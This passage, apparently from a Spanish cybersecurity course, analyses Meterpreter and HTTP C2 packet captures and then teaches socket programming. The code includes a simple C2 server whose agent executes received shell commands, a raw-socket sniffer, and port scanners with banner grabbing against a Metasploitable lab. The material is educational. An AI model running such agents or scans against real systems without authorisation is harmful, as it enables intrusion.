6%2Ff9TZIh0QzaRAN%0D%0AMARXOELkT78j3EDuAciUR66Oxrt0kNLPIw3%2Fjl%2F70MUQ7%2FivcyrtT%2BJ1
7oyKZ3XC6lHQvqKNSGxq%0D%0AAd5x0ctEIkCbPB2tVVRVX3HJa7myxyJ6XsSwn3P7Rm6JScL0CSYmNiMEf5DPa
iVZO533C4YwJmrU%0D%0ALjDGnyidhsT2WLoDoRrIIp9XJRUt1heACiiCjdPaZ3Dx4fOpioFynAWCZTyr5%2BOR
%2BW9%2BTMqXFLxw%0D%0AI3tdLnBVi150ZGgtoJXpFwT66dNXry1CId5BiO0T2pEjNU9myUViEJgaHryteeW2B
DwhuHuFTvRq%0D%0A107fs8abTo9M92otWrZ%2BhBw96AX3yMN7KxfCb6qNAr3z3NXU6aGoyg7mvq%2BjUWpSCH
gCzvGYS59k%0D%0AiRSzjIDIJI8F1jZ3lAuz7P4MmC0N4C56x6pyn5Ip58LK5JTNOQXCIBtv5uKc%2BfS5jEtcP
mcmKeik%0D%0Am4tN5rHo&e=EOF

=== RESPONSE RAW ===


HTTP/1.1 200 OK
Connection: Keep-Alive
X-Powered-By: PHP/7.3.23
Content-Type: text/html; charset=UTF-8
Content-Length: 49
Date: Sat, 24 Oct 2020 14:28:20 GMT
Server: LiteSpeed

Sorry, we can not find what you are looking for.!

270
Lo que encontramos fue un ejemplo de comunicación HTTP C2 muy limpia y disimulada:

●​ Todo pasa por el puerto 80.


●​ El User-Agent finge ser un Firefox legítimo.
●​ Los headers y respuestas son coherentes.
●​ Pero los patrones (redirección --> descarga --> error) delatan la automatización.
●​ El atacante usa un servidor LiteSpeed para entregar módulos cifrados (.sig),
●​ y probablemente el malware usa esos fragmentos para ejecutar o actualizar comandos.

PCAP_RDP_C2
Entonces seguimos con el PCAP 3 . rdp_tunneling_meterpreter_portfwd.pcapng, aplicando la misma
metodología narrativa que en el caso anterior.... antes de escribir código o graficar, lo que haríamos... como
buenos analistas con café en mano... Es tomarle el ritmo al tráfico, igual que hicimos en los casos 1 y 2.

In [115]:
resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes =
resumen_pcap(PCAP_RDP_C2)

print("=== RESUMEN GENERAL ===")


for k, v in [Link]():
print(f"{k}: {v}")

print("\nTop IP origen:")
print(df_src.head(5))

print("\nTop IP destino:")
print(df_dst.head(5))

print("\nTop puertos destino TCP:")


print(df_tcp_dports.head(5))

=== RESUMEN GENERAL ===


total_paquetes: 1221
tcp: 1221
udp: 0
icmp: 0
otros_ip: 0
con_dns: 0
con_raw: 687

Top IP origen:
ip_src count_src
0 [Link] 632
1 [Link] 589

Top IP destino:
ip_dst count_dst
0 [Link] 632
1 [Link] 589

271
Top puertos destino TCP:
tcp_dport count
0 49682 632
1 4444 589

Entonces con ese resumen .... 1221 paquetes TCP entre las IPs [Link] <---> [Link], usando los
puertos 4444 y 49682, y 687 de ellos con payload Raw .... ya podemos empezar a contar la historia del tercer
caso... el túnel RDP con Meterpreter.

El túnel RDP con Meterpreter


Imagina esto, estás mirando tráfico en Wireshark y al principio parece una simple sesión RDP o un
intercambio interno entre dos máquinas virtuales. Pero algo no encaja.... no hay handshake de TLS, no hay
metadatos RDP clásicos y el puerto 4444 te empieza a sonar conocido.... sí, ese 4444, el favorito de
Metasploit para abrir shells reversas.

Entonces el panorama cambia... lo que tienes delante, no es solo una conexión interna, es una sesión
remota encapsulada, un túnel C2 tipo port forwarding.

Y para confirmarlo, lo que sigue es usar un poco de Python para abrir la caja negra:

In [116]:
pkts = rdpcap(PCAP_RDP_C2)
print("Total paquetes:", len(pkts))

dst_ports = Counter()
src_ports = Counter()
flows = Counter()

for p in pkts:
if not ([Link](IP) and [Link](TCP)):
continue

ip = p[IP]
tcp = p[TCP]

dst_ports[[Link]] += 1
src_ports[[Link]] += 1

flow = ([Link], [Link], [Link], [Link])


flows[flow] += 1

print("\nTop puertos destino TCP:")


for port, cnt in dst_ports.most_common(10):
print(f" dport {port}: {cnt} paquetes")

print("\nTop puertos origen TCP:")


for port, cnt in src_ports.most_common(10):
print(f" sport {port}: {cnt} paquetes")

272
print("\nTop flujos (src_ip:src_port -> dst_ip:dst_port):")
for (sip, sport, dip, dport), cnt in flows.most_common(5):
print(f" {sip}:{sport} -> {dip}:{dport} ({cnt} paquetes)")

Total paquetes: 1221

Top puertos destino TCP:


dport 49682: 632 paquetes
dport 4444: 589 paquetes

Top puertos origen TCP:


sport 4444: 632 paquetes
sport 49682: 589 paquetes

Top flujos (src_ip:src_port -> dst_ip:dst_port):


[Link]:4444 -> [Link]:49682 (632 paquetes)
[Link]:49682 -> [Link]:4444 (589 paquetes)

Y acá viene la parte donde uno deja de mirar números y empieza a pensar... el tráfico es puro TCP, ni un solo
paquete DNS, ni un solo UDP, y más de 600 paquetes por sentido entre dos máquinas internas.. los puertos
no mienten de 4444 <---> 49682. Si esto fuera una llamada telefónica, sería un canal directo entre dos
personas o una pareja celosa con llamadas perdidas, y más raro aun, sin nadie más hablando... y ese 4444...
es como ver la marca registrada de Metasploit.

Este paso, el de contar puertos y flujos... es una práctica que no falla, cuando no sabés qué hay dentro de un
pcap, empezá por los números. Ellos te dicen si estás frente a algo casual, un escaneo, o un túnel C2
escondido. En este caso, el patrón simétrico entre [Link] y [Link] te dice que es un canal estable, no
un escaneo ni un intento de conexión... hay ida y vuelta, hay conversación cifrada constante.

Hasta ahora sabemos que [Link] y [Link] están hablando por los puertos 4444 y 49682, pero todavía
no sabemos qué se dicen. Con este script, abrimos el canal para mirar el contenido Raw... es decir, la parte
que transporta los datos reales del túnel.

In [117]:
from [Link] import rdpcap, TCP, IP, Raw

pkts = rdpcap(PCAP_RDP_C2)

flow_data = []

for p in pkts:
if [Link](IP) and [Link](TCP):
ip = p[IP]
tcp = p[TCP]

# coincidencias con el flujo identificado anteriormente

273
if ([Link] == "[Link]" and [Link] == 4444) or \
([Link] == "[Link]" and [Link] == 49682):

if [Link](Raw):
flow_data.append(([Link], [Link], [Link], [Link], p[Raw].load))

print(f"[x] Paquetes con payload Raw en el túnel: {len(flow_data)}")

# mostrar los primeros 5


for i, (src, dst, sport, dport, data) in enumerate(flow_data[:5]):
print("\n(" +str( i ) + ") ==== Payload : \n")
print("src:", src, "sport:", sport, "----> dst:", dst, "dport:", dport)
print("len:", len(data))
print(data[:64]) # primeros bytes

[x] Paquetes con payload Raw en el túnel: 687

(0) ==== Payload :

src: [Link] sport: 4444 ----> dst: [Link] dport: 49682


len: 240
b"\x1cO\xb2\x9dxg\xceX\x9b\xd9\xfeg\xaa\x8f\xfd\xf7t\xed\x1a3\x1cO\xb2\x9c\x1cO\xb2E\x1
cO\xb2\x9d:\xcf\xf7\x13|G\xae\xe3\xa9'\x96\x00G\x18\x9c1\xb2\x972\rK\xe1\r\xb4.\x7f\xc8
P\x08\x0b}V"

(1) ==== Payload :

src: [Link] sport: 49682 ----> dst: [Link] dport: 4444


len: 208
b'*\xb4\xefUN\x9c\x93\x90\xad"\xa3\xaf\x9ct\xa0?B\x16G\xfb*\xb4\xefT*\xb4\xef\xed*\xb4\
xefT\xb2\x9c\xb5\xad\x1f\xd5\xc0\x98)\x80\x8af\x7f\xf6\x07\xd7n\x1d:\xd7\x037\xe9\x9a\t
\xd7\xd8\xdd\xeb\xf8\xa9a'

(2) ==== Payload :

src: [Link] sport: 4444 ----> dst: [Link] dport: 49682


len: 192
b'\x0eJ\xa8?jb\xd4\xfa\x89\xdc\xe4\xc5\xb8\x8a\xe7Uf\xe8\x00\x91\x0eJ\xa8>\x0eJ\xa8\x97
\x0eJ\xa8?\x8aF\x1c\xba\x84z\x13f\xfe\\\x8d]\x9fEr\x04\x12\x91\xc8\x97\x11\xa0[V\x89\n\
xd7\x86\x1e\xf1r\x93'

(3) ==== Payload :

src: [Link] sport: 49682 ----> dst: [Link] dport: 4444


len: 192
b'*\xb4\xefUN\x9c\x93\x90\xad"\xa3\xaf\x9ct\xa0?B\x16G\xfb*\xb4\xefT*\xb4\xef\xfd*\xb4\
xefT\x9eK\xabt\xd6\xad\xbfp\xfc\xea\x19\xc2\xfdf\x18\xcf\xc1\xaf4\x1bk\'\t\x8d\xc6\x91\
x8cu\xb1\xa4\xabI'

(4) ==== Payload :

src: [Link] sport: 49682 ----> dst: [Link] dport: 4444


len: 192

274
b'\x89(m\\\xed\x00\x11\x99\x0e\xbe!\xa6?\xe8"6\xe1\x8a\xc5\xf2\x89(m]\x89(m\xf4\x89(m\\
\x15BQ9\xca\x9d\xec\xf1\xcc\xfcX\xa1\xbf\xa4\xd1\x0b\x98\x8d\xf3\xa9\xd9\xe0\xec\xf8\xa
2\x85\xf6k$\xc6.\xab'

Y acá, está la belleza del análisis manual...no hace falta entender el cifrado todavía, basta con notar que no
hay texto legible, ni HTTP, ni RDP clásico. Lo que ves son bytes binarios con alta variación, longitudes
constantes (1460 bytes, el tamaño típico de MTU) y simetría entre ida y vuelta.... eso ya te dice que estás
mirando un canal encapsulado, probablemente cifrado punto a punto, como los que usa Meterpreter para
reenviar tráfico (en este caso, RDP) a través de su conexión existente.

Hasta ahora vimos que los paquetes tienen datos Raw y que parecen binarios, pero no lo hemos
demostrado. La entropía nos dice cuánta información desordenada hay dentro del contenido, cuando es baja
(por ejemplo, 3 o 5 bits por byte), suele ser texto, logs o protocolos simples. Cuando es alta (por encima de
7), estamos ante datos comprimidos o cifrados...o sea, un flujo que intenta esconder algo.

Script para medir la entropía:

In [118]:
import math
from collections import Counter
from [Link] import rdpcap, IP, TCP, Raw

def shannon_entropy(data):
"""Calcula la entropía de Shannon de una secuencia de bytes."""
if not data:
return 0
counter = Counter(data)
total = len(data)
entropy = 0.0
for count in [Link]():
p = count / total
entropy -= p * math.log2(p)
return entropy

pkts = rdpcap(PCAP_RDP_C2)

flow_data = []
for p in pkts:
if [Link](IP) and [Link](TCP) and [Link](Raw):
ip = p[IP]
tcp = p[TCP]
if ([Link] == "[Link]" and [Link] == 4444) or \
([Link] == "[Link]" and [Link] == 49682):
flow_data.append(p[Raw].load)

# calcular entropia por paquetes


for i, data in enumerate(flow_data[:10]):
e = shannon_entropy(data)
print(f"[ - ] pkt #{i} entropy: {e}")

275
[ - ] pkt #0 entropy: 7.041524593487493
[ - ] pkt #1 entropy: 7.011697501957517
[ - ] pkt #2 entropy: 6.940958643993336
[ - ] pkt #3 entropy: 6.840723683067101
[ - ] pkt #4 entropy: 6.86169155571795
[ - ] pkt #5 entropy: 7.617775756669927
[ - ] pkt #6 entropy: 6.797158433188975
[ - ] pkt #7 entropy: 7.856459266557627
[ - ] pkt #8 entropy: 7.281661044817258
[ - ] pkt #9 entropy: 6.856766992762185

Si lo leés como si fuera una historia, esos números te cuentan que:

●​ Todos los paquetes tienen entropía alta, entre 6.8 y 7.8.


●​ No hay repeticiones predecibles ni estructuras visibles.
●​ No hay texto legible (lo cual concuerda con lo que vimos visualmente).

Eso significa que el contenido no es tráfico RDP puro, sino datos cifrados encapsulados dentro del túnel... lo
que cuadra perfecto con la hipótesis de que el atacante usó Meterpreter para redirigir RDP a través del
puerto 4444.

In [119]:
import [Link] as plt
from [Link] import rdpcap, IP, TCP, Raw

pkts = rdpcap(PCAP_RDP_C2)

times = []
sizes = []
directions = []

for p in pkts:
if [Link](IP) and [Link](TCP) and [Link](Raw):
ip = p[IP]
tcp = p[TCP]
if ([Link] == "[Link]" and [Link] == 4444) or \
([Link] == "[Link]" and [Link] == 49682):
[Link]([Link])
[Link](len(p[Raw].load))
[Link]("A→B" if [Link] == "[Link]" else "B→A")

[Link](figsize=(10,5))
[Link](times, sizes, c=["red" if d=="A→B" else "blue" for d in directions],
alpha=0.6)
[Link]("Tiempo (segundos desde inicio)")
[Link]("Tamaño del payload (bytes)")
[Link]("Ritmo del túnel RDP sobre Meterpreter (payload size vs time)")

Out[119]:

276
Text(0.5, 1.0, 'Ritmo del túnel RDP sobre Meterpreter (payload size vs time)')

●​ Si ves puntos regulares y constantes, probablemente sea tráfico de beaconing o keepalive.


●​ Si ves explosiones asimétricas, probablemente haya transferencia de archivos o sesiones activas.

Ahora, Visualizamos el flujo del túnel en forma de red:

In [120]:
import networkx as nx
import [Link] as plt
from [Link] import rdpcap, IP, TCP, Raw
from collections import Counter

pkts = rdpcap(PCAP_RDP_C2)

# contamos los flujos IP:puerto origen ----> IP:puerto destino


flows = Counter()

for p in pkts:
if [Link](IP) and [Link](TCP):
ip = p[IP]
tcp = p[TCP]
src = f"{[Link]}:{[Link]}"
dst = f"{[Link]}:{[Link]}"
flows[(src, dst)] += 1

# gráfico network
G = [Link]()
for (src, dst), count in [Link]():
G.add_edge(src, dst, weight=count)

[Link](figsize=(10, 7))
pos = nx.spring_layout(G, seed=42, k=0.8)

277
edges = nx.draw_networkx_edges(
G, pos, arrowstyle='-|>', arrowsize=15,
edge_color='orange', width=[(G[u][v]['weight']/50) for u,v in [Link]()]
)
nx.draw_networkx_nodes(G, pos, node_size=3000, node_color="black", alpha=0.8)
nx.draw_networkx_labels(G, pos, font_color="white", font_size=8)
[Link]("Mapa de flujo de red - Túnel RDP sobre Meterpreter")
[Link]("off")
[Link]()

El análisis mostró que:

●​ todo el tráfico fue TCP, sin DNS ni UDP,


●​ casi 700 paquetes tenían payload Raw,
●​ las entropías eran altas (entre 6.8 y 7.8 bits/byte), lo que indica cifrado,
●​ y el flujo fue bidireccional, estable y constante entre solo dos nodos.

El puerto 4444, clásico de Meterpreter, y el 49682 en la contraparte, sugieren que el atacante usó una sesión
de port forwarding para exponer un servicio RDP a través del canal del payload.

En otras palabras, lo que parece un simple intercambio TCP en realidad es un túnel de control remoto dentro
del propio RDP, una técnica avanzada para moverse lateralmente sin dejar rastros obvios.

278
Visualmente, si lo ves en los gráficos, es una línea naranja gruesa y persistente entre dos puntos lo que
cuenta una historia corta, silenciosa y peligrosa.

Sockets la espada del Jedi


los sockets son la espada de un Jedi digital.... una herramienta simple pero poderosa, capaz de construir o
destruir sistemas con la misma línea de código. Con ellos no necesitás magia... solo saber escuchar, hablar y
entender cómo se mueven los paquetes en la Fuerza del ciberespacio.

Podemos hacerlo paso a paso, igual que con los pcaps, charlando, con un café, y viendo cómo cada línea de
Python abre un canal entre máquinas, cómo se habla con un servidor, cómo se simula un ataque, o cómo se
defiende una trinchera digital.

Para comenzar, propongo algo suave, casi meditativo, como cuando un padawan prende por primera vez su
sable láser... crearemos un socket cliente y servidor que hablen entre sí.... nada más que, solo aprender a
escuchar y responder.

Ojo: En un terminal normal los script los ejecutamos como dos scripts distintos. En Jupyter, podémos hacerlo
en dos celdas separadas y usando hilos (threads) para mantener el servidor vivo mientras el cliente se
conecta.

Ejemplo servidor a la escucha:

In [121]:
import socket
import threading

def servidor():
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](("[Link]", 4444)) # escucha local
[Link](1)
print("[*] Servidor esperando conexión en el puerto 4444...")

conn, addr = [Link]()


print(f"[+] Conectado desde {addr}")

while True:
data = [Link](1024).decode()
if not data or [Link]() == "exit":
print("[*] Cliente desconectado")
break
print(f"[+] Recibido: {data}")
[Link](b"Recibido: " + [Link]())
[Link]()

279
# levantamos el servidor en segundo plano
[Link](target=servidor, daemon=True).start()

[*] Servidor esperando conexión en el puerto 4444...


[+] Conectado desde ('[Link]', 12518)
[+] Recibido: hola starhacks
[*] Cliente desconectado

Esto inicia un servidor que queda escuchando dentro de Jupyter, sin bloquear el notebook. Luego, en una
nueva celda, ejecuta el cliente:

In [122]:
import socket
client = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](("[Link]", 4444))

while True:
msg = input("Mensaje (exit para salir): ")
[Link]([Link]())
if [Link]() == "exit":
break
respuesta = [Link](1024).decode()
print("Servidor:", respuesta)

[Link]()

Servidor: Recibido: hola starhacks

Ahora, vamos a entender qué acaba de pasar con esos sockets, pero de una forma visual y ordenada.
Piensa que lo que hicimos es casi como abrir una pequeña autopista de datos entre dos puntos: uno que
escucha (servidor) y otro que habla (cliente).

Así que empecemos por resumir la historia en una tabla:

Ahora, podemos ver ese diálogo en un gráfico simple, donde las flechas son los mensajes:

280
Una especie de diagrama de conversación, con flechas azules del cliente hacia el servidor y rojas en sentido
contrario. Es básicamente un resumen visual del handshake TCP y del intercambio que hicimos.

Ahora que ya dominas el primer ritual Jedi del socket, escuchar, aceptar y hablar. Vamos a subir un nivel de
poder y hacer algo que te sirva directamente en ciberseguridad ofensiva y defensiva, pero igual de didáctico,
un mini sniffer TCP/UDP hecho con sockets.

La idea es ver qué pasa cuando los sockets escuchan todo lo que respira en la red, como si fueran los oídos
de la Fuerza del sistema.

281
Corro el script fuera de Jupyter como administrador para mostrar que funciona correctamente:

Aquí dejo el script:

In [ ]:
import socket

# Creamos un socket raw (bajo nivel)


s = [Link](socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)

# Lo asociamos a la IP local (por ejemplo 192.168.x.x)


[Link](("[Link]", 0)) # en tu red debes usar tu IP real

# Incluimos cabeceras IP completas


[Link](socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# Activamos modo promiscuo (solo Windows)


try:
[Link](socket.SIO_RCVALL, socket.RCVALL_ON)
except Exception as e:
print("No se pudo activar modo promiscuo:", e)

282
print("[*] Escuchando paquetes... (Ctrl+C para detener)")

try:
for _ in range(5): # lee solo 5 paquetes para probar
pkt = [Link](65565)
print(f"Paquete recibido desde {pkt[1]}")
except KeyboardInterrupt:
pass
finally:
print("[*] Cerrando socket...")
try:
[Link](socket.SIO_RCVALL, socket.RCVALL_OFF)
except:
pass
[Link]()

si quisieramos, Podriamos usar el resultado (pkt[1]) y armar un Counter para mostrar las IP más activas en tu
red local, con un gráfico de barras tipo:

In [128]:
from collections import Counter
import [Link] as plt

# Supongamos que guardamos las IPs observadas en una lista


ips = ["[Link]", "[Link]", "[Link]", "[Link]", "[Link]"]

c = Counter(ips)
[Link]([Link](), [Link](), color="orange")
[Link]("IPs observadas en tráfico local")
[Link]("IP destino")
[Link]("Conteo de paquetes")
[Link](rotation=45)
[Link]()

283
Ahora, vamos a construir un Command & Control (C2) muy básico. En pocas palabras, un C2 es como un
walkie-talkie entre un agente (la máquina comprometida) y un servidor central (el atacante o sistema de
control).

El agente se conecta al servidor, espera órdenes, las ejecuta y devuelve la salida.

Nuestro ejemplo no va a hacer nada malicioso, solo mostrará cómo se arma el canal de comunicación y
cómo se intercambian mensajes.

Servidor (C2 controller) y Agente (el cliente) todo en uno:

In [1]:
import socket
import threading
import subprocess
import time

HOST = "[Link]"
PORT = 4445

# --- Servidor C2 ---


def c2_server():
server = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((HOST, PORT))
[Link](1)
print(f"[*] Servidor C2 escuchando en {HOST}:{PORT}")
conn, addr = [Link]()
print(f"[+] Agente conectado desde {addr}")

# Lista de comandos simulados


comandos = ["whoami", "hostname", "echo Hola desde el C2", "exit"]
for cmd in comandos:
print(f"\n[C2] Enviando comando: {cmd}")
[Link]([Link]())
if cmd == "exit":
break
data = [Link](4096)
print("[Agente respuesta]:", [Link](errors="ignore"))
[Link](1)

[Link]()
[Link]()
print("[*] Servidor cerrado.")

# --- Agente ---


def c2_agent():
[Link](0.5) # Espera a que el servidor se encuentre listo (escuchando)
client = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((HOST, PORT))
print("[*] Agente conectado al servidor C2.")

284
while True:
cmd = [Link](1024).decode()
if [Link]().lower() == "exit":
break
try:
result = [Link](cmd)
except Exception as e:
result = str(e)
[Link]([Link]())

[Link]()
print("[*] Agente desconectado.")

# Lanzar ambos hilos en paralelo ......


t1 = [Link](target=c2_server)
t2 = [Link](target=c2_agent)

[Link]()
[Link]()

[Link]()
[Link]()

[*] Servidor C2 escuchando en [Link]:4445


[*] Agente conectado al servidor C2.[+] Agente conectado desde ('[Link]', 33872)

[C2] Enviando comando: whoami

[Agente respuesta]: hack4you\starh

[C2] Enviando comando: hostname


[Agente respuesta]: hack4you

[C2] Enviando comando: echo Hola desde el C2


[Agente respuesta]: Hola desde el C2

[C2] Enviando comando: exit


[*] Agente desconectado.
[*] Servidor cerrado.

Qué pasa aquí:

1.​ El servidor se pone en escucha.


2.​ El agente se conecta automáticamente al mismo puerto.
3.​ El C2 envía comandos predefinidos (whoami, hostname, etc.).
4.​ El agente los ejecuta con [Link]() y devuelve el resultado.
5.​ Todo ocurre dentro del notebook, sin bloquearlo.

El siguiente código es una mejora del anterior, ahora cada vez que el servidor envía un comando, mide
cuánto tarda en recibir la respuesta.

In [2]:

285
import socket
import threading
import subprocess
import time

HOST = "[Link]"
PORT = 4445 # usamos otro puerto para no interferir con el anterior

# --- Servidor C2 ---


def c2_server_latency():
server = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((HOST, PORT))
[Link](1)
print(f"[*] Servidor C2 escuchando en {HOST}:{PORT}")
conn, addr = [Link]()
print(f"[+] Agente conectado desde {addr}")

comandos = ["whoami", "hostname", "date", "exit"]


for cmd in comandos:
print(f"\n[C2] Enviando: {cmd}")
start = [Link]()
[Link]([Link]())

if cmd == "exit":
break

data = [Link](4096)
end = [Link]()
latency = round(end - start, 3)
print(f"[Agente respuesta]: {[Link](errors='ignore')}")
print(f" > Latencia: {latency} segundos")

[Link](1)

[Link]()
[Link]()
print("[*] Servidor cerrado.")

# --- Agente ---


def c2_agent_latency():
[Link](0.5)
client = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((HOST, PORT))
print("[*] Agente conectado al servidor C2 (modo latencia).")

while True:
cmd = [Link](1024).decode()
if [Link]().lower() == "exit":
break

try:
result = [Link](cmd)
except Exception as e:

286
result = str(e)

# Simulamos una pequeña demora de red


[Link](0.5)
[Link]([Link]())

[Link]()
print("[*] Agente desconectado.")

# Lanzar ambos hilos


t1 = [Link](target=c2_server_latency)
t2 = [Link](target=c2_agent_latency)

[Link]()
[Link]()

[Link]()
[Link]()

[*] Servidor C2 escuchando en [Link]:4445


[*] Agente conectado al servidor C2 (modo latencia).
[+] Agente conectado desde ('[Link]', 1856)

[C2] Enviando: whoami


[Agente respuesta]: hack4you\starh
> Latencia: 0.545 segundos

[C2] Enviando: hostname


[Agente respuesta]: hack4you
> Latencia: 0.543 segundos

[C2] Enviando: date


[Agente respuesta]: La fecha actual es: 29-11-2025
Escriba la nueva fecha: (dd-mm-aa)
> Latencia: 0.532 segundos

[C2] Enviando: exit


[*] Agente desconectado.
[*] Servidor cerrado.

Qué quiero que aprendas con esto.... que por ejemplo la latencia sirve como indicador de control, si un
agente tarda demasiado en responder, puede estar caído, saturado o desconectado. En un entorno real, el
C2 usaría ese tiempo para decidir si el host sigue vivo. Por otra parte, el Heartbeat C2, de aquí nace la idea
del beacon, ese pequeño ping que los agentes envían cada cierto tiempo al C2 para decir... sigo aquí, mi
maestro Jedi.

Escaneo básico de puertos TCP


Este primer script es tu detector de vida en la red. Hace un ping TCP a cada puerto y registra quién
responde.

287
In [3]:
import socket
from datetime import datetime
def escanear_host(host, puertos):
print(f"[*] Escaneando host {host}...")
abiertos = []
inicio = [Link]()

for puerto in puertos:


s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](0.5)
try:
[Link]((host, puerto))
print(f"[+] Puerto {puerto} abierto")
[Link](puerto)
except ([Link], ConnectionRefusedError):
pass
[Link]()
fin = [Link]()
duracion = (fin - inicio).total_seconds()
print(f"[*] Escaneo finalizado en {duracion:.2f} segundos")
return abiertos

# Ejemplo: escanear metasploitable 2 local


puertos = [21, 22, 23, 25, 53, 80, 135, 139, 443, 445, 8080, 3389]
abiertos = escanear_host("[Link]", puertos) # metasploitable
print("\nPuertos abiertos encontrados:", abiertos)

[*] Escaneando host [Link]...


[+] Puerto 21 abierto
[+] Puerto 22 abierto
[+] Puerto 23 abierto
[+] Puerto 25 abierto
[+] Puerto 53 abierto
[+] Puerto 80 abierto
[+] Puerto 139 abierto
[+] Puerto 445 abierto
[*] Escaneo finalizado en 2.36 segundos

Puertos abiertos encontrados: [21, 22, 23, 25, 53, 80, 139, 445]

Qué hace cada parte

1.​ [Link]() intenta establecer conexión con cada puerto.


2.​ Si logra conectar --> puerto abierto
3.​ Si falla o no responde --> cerrado
4.​ settimeout(0.5) evita que el escaneo se congele.

288
Escaneo de rango de puertos con multithreading
El ejemplo anterior es claro, pero algo lento.... Ahora te muestro cómo hacerlo más rápido usando threads,
como si varios drones Jedi escanearon a la vez la estrella de la muerte.

In [5]:
import socket
import threading

def escanear_puerto(host, puerto):


s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](0.3)
try:
[Link]((host, puerto))
print(f"[+] {host}:{puerto} abierto")
except:
pass
finally:
[Link]()

def escaneo_rapido(host, inicio, fin):


print(f"[*] Escaneando {host} del puerto {inicio} al {fin}")
threads = []
for p in range(inicio, fin + 1):
t = [Link](target=escanear_puerto, args=(host, p))
[Link]()
[Link](t)
for t in threads:
[Link]()
print("[*] Escaneo completado")

# Ejemplo: escanear los primeros 500 puertos


escaneo_rapido("[Link]", 1, 500)

[*] Escaneando [Link] del puerto 1 al 500


[+] [Link]:21 abierto
[+] [Link]:22 abierto
[+] [Link]:23 abierto
[+] [Link]:25 abierto
[+] [Link]:53 abierto
[+] [Link]:80 abierto
[+] [Link]:111 abierto
[+] [Link]:445 abierto
[*] Escaneo completado

Escaneo con detección de banners


para este script, usa los puertos que ya viste abiertos en tu localhost o metasploitable.

In [7]:
import socket

289
def obtener_banner(host, puerto):
try:
s = [Link]()
[Link](1)
[Link]((host, puerto))
[Link](b"HEAD / HTTP/1.0\r\n\r\n") # un saludo básico
banner = [Link](1024).decode(errors="ignore").strip()
[Link]()
return banner
except Exception as e:
return None

def escanear_y_leer(host, puertos):


resultados = []
print(f"[*] Escaneando y leyendo banners en {host}")
for p in puertos:
try:
s = [Link]()
[Link](0.5)
[Link]((host, p))
print(f"[+] Puerto {p} abierto - intentando leer banner...")
banner = obtener_banner(host, p)
[Link]((p, banner))
except:
pass
return resultados

# Ejemplo sobre localhost o metasploitable


puertos_objetivo = [21, 22, 23, 25, 80, 110, 139, 443, 445, 3306, 8080]
banners = escanear_y_leer("[Link]", puertos_objetivo)

print("\n=== Resultados de banners ===")


for p, b in banners:
print(f"Puerto {p}: {b if b else 'Sin respuesta o banner oculto'}")

[*] Escaneando y leyendo banners en [Link]


[+] Puerto 21 abierto - intentando leer banner...
[+] Puerto 22 abierto - intentando leer banner...
[+] Puerto 23 abierto - intentando leer banner...
[+] Puerto 25 abierto - intentando leer banner...
[+] Puerto 80 abierto - intentando leer banner...
[+] Puerto 139 abierto - intentando leer banner...
[+] Puerto 445 abierto - intentando leer banner...
[+] Puerto 3306 abierto - intentando leer banner...

=== Resultados de banners ===


Puerto 21: 220 (vsFTPd 2.3.4)
530 Please login with USER and PASS.
Puerto 22: Sin respuesta o banner oculto
Puerto 23: #'
Puerto 25: 220 [Link] ESMTP Postfix (Ubuntu)
Puerto 80: HTTP/1.1 200 OK
Date: Sun, 23 Nov 2025 06:53:47 GMT

290
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html
Puerto 139: Sin respuesta o banner oculto
Puerto 445: Sin respuesta o banner oculto
Puerto 3306: >
5.0.51a-3ubuntu5)SEBYyt\NS8[C|iv9T|7Bad handshake

podemos observar en los resultados, que algunos puertos te responderán con algo como
SSH-2.0-OpenSSH_7.6p1, otros con HTTP/1.1 400 Bad Request, y algunos se quedarán callados... esos
suelen ser los más interesantes. Esto ya no es solo ping, sino inteligencia de quién está, qué versión usa y
cómo reacciona.

En un laboratorio, si lo haces contra Metasploitable, verás respuestas riquísimas (FTP, Apache, MySQL,
etc.).

Ahora, imagina que estás frente a una consola, con el café caliente al lado y querés escuchar qué dice la red
cuando la tocas con la punta de tu socket.... como eres cuidadoso, no querés invadir, solo escuchar….. como
un Jedi que siente la fuerza de cada máquina.

Ejemplo un poco más elegante:

In [10]:
import socket
import pandas as pd
import [Link] as plt

# Escucha los puertos como si fueran frecuencias


def escuchar_puerto(host, puerto):
try:
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](0.8)
[Link]((host, puerto))
[Link](b"HEAD / HTTP/1.0\r\n\r\n")
banner = [Link](256).decode(errors="ignore").strip()
[Link]()
return "Abierto", banner if banner else "(sin banner visible)"
except [Link]:
return "Silencioso", None
except ConnectionRefusedError:
return "Cerrado", None
except Exception as e:
return "Error", str(e)

# Escaneo un poco más elegante


def escaneo_estetico(host, puertos):
registros = []
print(f"\n >> Explorando {host}... Escuchando señales de vida digital...\n")

291
for p in puertos:
estado, banner = escuchar_puerto(host, p)
if estado != "Cerrado":
print(f"[x] Puerto {p:<5} → {estado} {'| '+banner[:40] if banner else
''}")
[Link]((p, estado, banner))
return [Link](registros, columns=["Puerto", "Estado", "Banner"])

# Definimos los puertos que queremos escuchar


puertos_objetivo = [21, 22, 23, 25, 53, 80, 110, 139, 443, 445, 3306, 8080, 3389]

df = escaneo_estetico("[Link]", puertos_objetivo)

# Radar visual del escaneo


[Link](figsize=(12, 5))
colores = df["Estado"].map({
"Abierto": "#00FF88",
"Silencioso": "#FFA500",
"Cerrado": "#555555",
"Error": "#FF3333"
})

[Link](df["Puerto"], range(1, len(df)+1), color=colores)


[Link](" los Puertos y Detección visual", fontsize=14)
[Link]("Puerto")
[Link]("Intensidad del índice visual")
[Link](alpha=0.3)
[Link]()

# Mostramos resultados en tabla


[Link].set_properties(**{
'background-color': '#111',
'color': '#0FF',
'border-color': '#333',
'font-family': 'monospace'
})

>> Explorando [Link]... Escuchando señales de vida digital...

[x] Puerto 21 → Silencioso


[x] Puerto 22 → Abierto | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
